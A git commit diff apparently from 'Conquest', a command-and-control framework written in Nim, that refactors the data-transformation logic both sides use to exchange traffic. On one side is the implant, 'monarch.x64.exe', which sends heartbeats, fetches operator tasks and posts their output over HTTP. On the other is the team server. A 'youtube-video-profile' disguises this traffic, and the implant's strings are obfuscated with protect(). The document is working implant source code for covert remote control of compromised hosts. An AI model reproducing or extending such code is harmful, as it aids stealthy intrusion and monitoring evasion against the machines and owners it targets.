Removed redundant code in data transformation implementation.
This commit is contained in:
@@ -1,4 +1,4 @@
|
|||||||
# Conquest default configuration file
|
# Conquest youtube video profile
|
||||||
name = "youtube-video-profile"
|
name = "youtube-video-profile"
|
||||||
|
|
||||||
# Important file paths and locations
|
# Important file paths and locations
|
||||||
@@ -5,16 +5,10 @@ import ../../common/[types, utils, profile]
|
|||||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||||
|
|
||||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
||||||
var heartbeatString: string
|
|
||||||
|
# Apply data transformation
|
||||||
# Apply data transformation to the heartbeat bytes
|
let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat)
|
||||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
|
var body: string = ""
|
||||||
of protect("base64"):
|
|
||||||
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
|
||||||
of protect("hex"):
|
|
||||||
heartbeatString = Bytes.toString(heartbeat).toHex().toLowerAscii()
|
|
||||||
of protect("none"):
|
|
||||||
heartbeatString = Bytes.toString(heartbeat)
|
|
||||||
|
|
||||||
# Define request headers, as defined in profile
|
# Define request headers, as defined in profile
|
||||||
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
||||||
@@ -25,12 +19,6 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
if endpoint[0] == '/':
|
if endpoint[0] == '/':
|
||||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||||
|
|
||||||
let
|
|
||||||
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
|
||||||
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
|
||||||
payload = prefix & heartbeatString & suffix
|
|
||||||
var body = ""
|
|
||||||
|
|
||||||
# Add heartbeat packet to the request
|
# Add heartbeat packet to the request
|
||||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||||
of protect("header"):
|
of protect("header"):
|
||||||
@@ -63,17 +51,8 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
if responseBody.len() <= 0:
|
if responseBody.len() <= 0:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
# Reverse data transformation
|
||||||
let
|
return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody))
|
||||||
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
|
|
||||||
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
|
||||||
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
|
||||||
|
|
||||||
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
|
|
||||||
of protect("base64"):
|
|
||||||
return decode(encResponse)
|
|
||||||
of protect("none"):
|
|
||||||
return encResponse
|
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
@@ -100,21 +79,8 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
||||||
|
|
||||||
# Apply data transformation
|
# Apply data transformation
|
||||||
var output: string
|
let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data)
|
||||||
case ctx.profile.getString(protect("http-post.agent.output.encoding.type"), default = protect("none"))
|
var body: string = ""
|
||||||
of protect("base64"):
|
|
||||||
output = encode(data, safe = ctx.profile.getBool(protect("http-post.agent.output.encoding.url-safe"))).replace("=", "")
|
|
||||||
of protect("hex"):
|
|
||||||
output = Bytes.toString(data).toHex().toLowerAscii()
|
|
||||||
of protect("none"):
|
|
||||||
output = Bytes.toString(data)
|
|
||||||
|
|
||||||
# Append/prepend strings
|
|
||||||
let
|
|
||||||
prefix = ctx.profile.getString(protect("http-post.agent.output.prefix"))
|
|
||||||
suffix = ctx.profile.getString(protect("http-post.agent.output.suffix"))
|
|
||||||
payload = prefix & output & suffix
|
|
||||||
var body: string
|
|
||||||
|
|
||||||
# Add task result to the request
|
# Add task result to the request
|
||||||
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
|
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
--opt:size
|
--opt:size
|
||||||
--l:"-Wl,-s"
|
--l:"-Wl,-s"
|
||||||
# --l:"-Wl,-subsystem,windows" # Prevent console window
|
# --l:"-Wl,-subsystem,windows" # Prevent console window
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
-d:MODULES="511"
|
-d:MODULES="511"
|
||||||
-d:VERBOSE="false"
|
-d:VERBOSE="true"
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
import parsetoml, strutils, sequtils, random
|
import parsetoml, strutils, sequtils, random, base64
|
||||||
|
|
||||||
import ./types
|
import ./[types, utils]
|
||||||
|
|
||||||
proc findKey(profile: Profile, path: string): TomlValueRef =
|
proc findKey(profile: Profile, path: string): TomlValueRef =
|
||||||
let keys = path.split(".")
|
let keys = path.split(".")
|
||||||
@@ -74,3 +74,37 @@ proc getArray*(profile: Profile, path: string): seq[TomlValueRef] =
|
|||||||
if key == nil:
|
if key == nil:
|
||||||
return @[]
|
return @[]
|
||||||
return key.getElems()
|
return key.getElems()
|
||||||
|
|
||||||
|
proc applyDataTransformation*(profile: Profile, path: string, data: seq[byte]): string =
|
||||||
|
var dataString: string
|
||||||
|
|
||||||
|
# 1. Encoding
|
||||||
|
case profile.getString(path & protect(".encoding.type"), default = protect("none"))
|
||||||
|
of protect("base64"):
|
||||||
|
dataString = encode(data, safe = profile.getBool(path & protect(".encoding.url-safe"))).replace("=", "")
|
||||||
|
of protect("hex"):
|
||||||
|
dataString = Bytes.toString(data).toHex().toLowerAscii()
|
||||||
|
of protect("none"):
|
||||||
|
dataString = Bytes.toString(data)
|
||||||
|
|
||||||
|
# 2. Add prefix & suffix
|
||||||
|
let prefix = profile.getString(path & protect(".prefix"))
|
||||||
|
let suffix = profile.getString(path & protect(".suffix"))
|
||||||
|
|
||||||
|
return prefix & dataString & suffix
|
||||||
|
|
||||||
|
proc reverseDataTransformation*(profile: Profile, path: string, data: string): seq[byte] =
|
||||||
|
# 1. Remove prefix & suffix
|
||||||
|
let
|
||||||
|
prefix = profile.getString(path & protect(".prefix"))
|
||||||
|
suffix = profile.getString(path & protect(".suffix"))
|
||||||
|
dataString = data[len(prefix) ..^ len(suffix) + 1]
|
||||||
|
|
||||||
|
# 2. Decoding
|
||||||
|
case profile.getString(path & protect(".encoding.type"), default = protect("none")):
|
||||||
|
of protect("base64"):
|
||||||
|
result = string.toBytes(decode(dataString))
|
||||||
|
of protect("hex"):
|
||||||
|
result = string.toBytes(parseHexStr(dataString))
|
||||||
|
of protect("none"):
|
||||||
|
result = string.toBytes(dataString)
|
||||||
|
|||||||
@@ -35,7 +35,6 @@ proc httpGet*(request: Request) =
|
|||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
# Check heartbeat metadata placement
|
# Check heartbeat metadata placement
|
||||||
var heartbeat: seq[byte]
|
|
||||||
var heartbeatString: string
|
var heartbeatString: string
|
||||||
|
|
||||||
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||||
@@ -58,19 +57,8 @@ proc httpGet*(request: Request) =
|
|||||||
|
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
# Retrieve and apply data transformation to get raw heartbeat packet
|
# Reverse data transformation to get raw heartbeat packet
|
||||||
let
|
let heartbeat = cq.profile.reverseDataTransformation("http-get.agent.heartbeat", heartbeatString)
|
||||||
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
|
||||||
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
|
||||||
encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
|
||||||
|
|
||||||
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
|
|
||||||
of "base64":
|
|
||||||
heartbeat = string.toBytes(decode(encHeartbeat))
|
|
||||||
of "hex":
|
|
||||||
heartbeat = string.toBytes(parseHexStr(encHeartbeat))
|
|
||||||
of "none":
|
|
||||||
heartbeat = string.toBytes(encHeartbeat)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
var responseBytes: seq[byte]
|
var responseBytes: seq[byte]
|
||||||
@@ -89,27 +77,18 @@ proc httpGet*(request: Request) =
|
|||||||
responseBytes.add(task)
|
responseBytes.add(task)
|
||||||
|
|
||||||
# Apply data transformation to the response
|
# Apply data transformation to the response
|
||||||
var response: string
|
let payload = cq.profile.applyDataTransformation("http-get.server.output", responseBytes)
|
||||||
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
|
||||||
of "none":
|
|
||||||
response = Bytes.toString(responseBytes)
|
|
||||||
of "base64":
|
|
||||||
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
|
|
||||||
else: discard
|
|
||||||
|
|
||||||
let prefix = cq.profile.getString("http-get.server.output.prefix")
|
|
||||||
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
|
||||||
|
|
||||||
# Add headers, as defined in the team server profile
|
# Add headers, as defined in the team server profile
|
||||||
var headers: HttpHeaders
|
var headers: HttpHeaders
|
||||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||||
headers.add((header, value.getStringValue()))
|
headers.add((header, value.getStringValue()))
|
||||||
|
|
||||||
request.respond(200, headers = headers, body = prefix & response & suffix)
|
request.respond(200, headers = headers, body = payload)
|
||||||
|
|
||||||
# Notify operator that agent collected tasks
|
# Notify operator that agent collected tasks
|
||||||
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$response.len} bytes sent.")
|
cq.client.sendConsoleItem(agentId, LOG_INFO, fmt"{$responseBytes.len} bytes sent.")
|
||||||
cq.info(fmt"{$response.len} bytes sent.")
|
cq.info(fmt"{$responseBytes.len} bytes sent.")
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
request.respond(404, body = "")
|
request.respond(404, body = "")
|
||||||
@@ -124,7 +103,6 @@ proc httpPost*(request: Request) =
|
|||||||
try:
|
try:
|
||||||
# Retrieve data from the request
|
# Retrieve data from the request
|
||||||
var dataString: string
|
var dataString: string
|
||||||
var data: seq[byte]
|
|
||||||
|
|
||||||
case cq.profile.getString("http-post.agent.output.placement.type"):
|
case cq.profile.getString("http-post.agent.output.placement.type"):
|
||||||
of "header":
|
of "header":
|
||||||
@@ -146,19 +124,8 @@ proc httpPost*(request: Request) =
|
|||||||
|
|
||||||
else: discard
|
else: discard
|
||||||
|
|
||||||
# Retrieve and reverse data transformation
|
# Reverse data transformation
|
||||||
let
|
let data = cq.profile.reverseDataTransformation("http-post.agent.output", dataString)
|
||||||
prefix = cq.profile.getString("http-post.agent.output.prefix")
|
|
||||||
suffix = cq.profile.getString("http-post.agent.output.suffix")
|
|
||||||
encData = dataString[len(prefix) ..^ len(suffix) + 1]
|
|
||||||
|
|
||||||
case cq.profile.getString("http-post.agent.output.encoding.type", default = "none"):
|
|
||||||
of "base64":
|
|
||||||
data = string.toBytes(decode(encData))
|
|
||||||
of "hex":
|
|
||||||
data = string.toBytes(parseHexStr(encData))
|
|
||||||
of "none":
|
|
||||||
data = string.toBytes(encData)
|
|
||||||
|
|
||||||
# Add response headers, as defined in team server profile
|
# Add response headers, as defined in team server profile
|
||||||
var headers: HttpHeaders
|
var headers: HttpHeaders
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
import times, json, base64, parsetoml, strformat, pixie
|
import times, json, base64, parsetoml, strformat
|
||||||
import stb_image/write as stbiw
|
import stb_image/write as stbiw
|
||||||
import ./logger
|
import ./logger
|
||||||
import ../../common/[types, utils, event]
|
import ../../common/[types, utils, event]
|
||||||
|
|||||||
Reference in New Issue
Block a user